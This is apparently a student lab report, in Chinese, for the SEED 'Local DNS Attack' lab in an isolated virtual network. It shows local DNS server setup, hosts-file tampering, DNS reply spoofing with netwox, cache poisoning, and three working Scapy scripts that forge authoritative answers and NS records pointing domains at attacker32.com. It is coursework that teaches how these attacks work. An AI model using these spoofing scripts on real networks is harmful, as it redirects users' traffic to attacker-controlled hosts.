seed lab 2020 Local DNS Attack Report
实验环境:
User Machine’s IP : 10.0.2.8
Attacker’s IP : 10.0.2.7
Local DNS Server : 10.0.2.4
Task 1
打开/etc/resolvconf/resolv.conf.d/head文件,然后添加将10.0.2.4作为DNS服务器的记录,并重启加载配置使记录生效:
$ sudo vim /etc/resolvconf/resolv.conf.d/head
nameserver 10.0.2.4
$ sudo resolvconf -u
查找dns server设置成功的证据:
$ dig www.baidu.com
在wireshark中看到10.0.2.8主机向10.0.2.4发送了dns请求,然后10.0.2.4作为本地dns主机代替10.0.2.8向199.7.83.42发送了dns请求报文:
Task 2
step 1 & step 2 & step 3
因为主机中的option文件已经按照要求设置好,我们只需要重启dns服务器即可
step 4
$ ping www.baidu.com
在wireshark中观察到10.0.2.4向10.0.2.8返回了dns标准记录:
Task 3
step1 & step 2 & step3
在本地dns服务器中的下面三个文件中存入实验指南中要求的记录:
$ sudo vim /etc/bind/named.conf
$ sudo vim /etc/bind/example.com.db
$ sudo vim /etc/bind/192.168.0.db
step 4
在用户主机上执行:
$ dig www.example.com
可以看到dns服务器返回了www.example.com的记录信息
Task 4
假定我们攻破了用户主机,我们在该主机上添加下面的记录:
$ sudo vim /etc/hosts
10.0.2.7 www.bank32.com
分别执行:
$ dig www.bank32.com
$ ping www.bank32.com
dig命令的结果没有受到影响:
ping命令的结果受到影响,直接显示了对应ip是10.0.2.7:
Task 5
我们的目标是将www.example.net的地址定向到10.0.2.7,为此我们用netwox返回ns.example.com到10.0.2.7的映射记录:
$ sudo netxow 105 --hostname www.example.net --hostnameip "10.0.2.7" --authns "ns.example.net" --authnsip "10.0.2.15" --device "enp0s3" --filter "src host 10.0.2.8"
可以看到dig的结果受到影响:
Task 6
相比于每次攻击用户主机发出的dns报文的方法,直接攻击dns服务器可能是更好的选择。而由于dns服务器每次在遇到需要解析的主机名时都会先查看缓存,如果没有缓存再询问,所以我们选择攻击dns服务器的缓存。
首先我们清空dns服务器的缓存:
$ sudo rndc flush
在攻击主机执行:
$ sudo netwox 105 --hostname www.example.net --hostnameip "10.0.2.7" --authns "ns.example.net" --authnsip "10.0.2.15" --device "enp0s3" --filter "src host 10.0.2.4" --ttl 600 --spoofip raw
然后在用户主机执行:
$ dig www.example.net
我们通过dns服务器的wireshark观察到ip为10.0.2.7的攻击主机为dns服务器返回了dns应答报文
在dns服务器执行(记录太多通过grep查找):
$ sudo rndc dumpdb -cache
$ sudo cat /var/cache/bind/dump.db |grep example
看到添加了ns.example.com的记录:
Task 7
根据需求编写代码:
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.7')
NSsec1 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='attacker32.com')
Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='10.0.2.15')
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1,nscount=1,arcount=1,an=Anssec, ns=NSsec1, ar=Addsec1)
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)
用户端执行:
$ dig www.example.net
看到结果已经被修改,并且example.net域名下的地址都指向ns.attacker32.com域名
我们加载新的cache,看到attacker32.com.已经被当作权威域名:
接下来我们试图在用户主机*问example.net域名下的地址hello.example.com:
$ dig hello.example.net
在wireshark上观察到dns服务器试图向attack32.com询问hello.example.net的ip地址,说明我们的攻击成功:
Task 8
根据要求再增加一条ns记录:
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.7')
NSsec1 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='attacker32.com')
NSsec2 = DNSRR(rrname='google.com', type='NS',ttl=259200, rdata='attacker32.com')
Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='10.0.2.15')
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1,nscount=2,arcount=1,an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1)
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)
可以看到增加了google.com的ns记录:
Task 9
增加两条附加记录:
from scapy.all import *
def spoof_dns(pkt):
if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.7')
NSsec1 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='attacker32.com')
NSsec2 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='ns.example.net')
Addsec1 = DNSRR(rrname='attacker32.com', type='A',ttl=259200, rdata='1.2.3.4')
Addsec2 = DNSRR(rrname='ns.example.net', type='A',ttl=259200, rdata='5.6.7.8')
Addsec3 = DNSRR(rrname='www.facebook.com', type='A',ttl=259200, rdata='3.4.5.6')
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1,nscount=2,arcount=3,an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt)
pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)
可以看到记录发生了改变:
上一篇: mac 下 python 批量删除 PDF 中的某些页面
下一篇: 如何检测出看起来真实的假证书?